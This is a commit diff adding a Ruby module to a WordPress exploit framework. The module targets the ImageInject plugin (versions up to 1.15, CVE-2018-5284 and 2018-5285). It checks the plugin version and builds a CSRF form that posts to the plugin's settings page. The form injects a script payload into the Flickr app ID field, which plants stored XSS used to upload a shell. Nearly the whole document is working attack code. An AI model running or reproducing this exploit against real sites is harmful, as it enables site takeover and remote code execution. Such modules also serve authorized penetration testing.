Add ImageInject <= 1.15 CSRF stored XSS shell upload

Author: rastating

modules/exploit/xss/stored/imageinject_csrf_xss_shell_upload.rb

@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::ImageInjectCsrfStoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'ImageInject <= 1.15 CSRF Stored XSS Shell Upload',
+      author: [
+        'd4wner',   # Disclosure
+        'rastating' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8994'],
+        ['CVE', '2018-5284'],
+        ['CVE', '2018-5285']
+      ],
+      date: 'Jan 04 2018'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('wp-inject', '1.16')
+  end
+
+  def vulnerable_url
+    "#{normalize_uri(wordpress_url_admin, 'options-general.php')}?page=wpdf-options"
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'save_options' => 'Save All Settings',
+      'flickr_enabled' => '1',
+      'flickr_appid' => "251f306e19c56bb3c8a2a9b2bd7a076a\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
+      'flickr_license' => '4,5,6,7',
+      'flickr_sort' => 'relevance',
+      'pixabay_enabled' => '1',
+      'pixabay_image_type' => 'all',
+      'general_save_images' => '1',
+      'general_feat_img_size' => 'medium',
+      'general_default_align' => 'none',
+      'general_attr_location' => 'caption',
+      'general_items_per_req' => '40',
+      'advanced_img_template' => '<img title=\"{title} by {author}\" alt=\"{keyword} photo\" src=\"{src}\" />',
+      'advanced_attr_template' => '<small>Photo by <a href=\"{link}\" target=\"_blank\">{author}</a> {cc_icon}</small>',
+      'advanced_attr_template_multi' => '<small>Photos by {linklist}</small>',
+      'advanced_filename_template' => '{filename}_{keyword}'
+    )
+  end
+end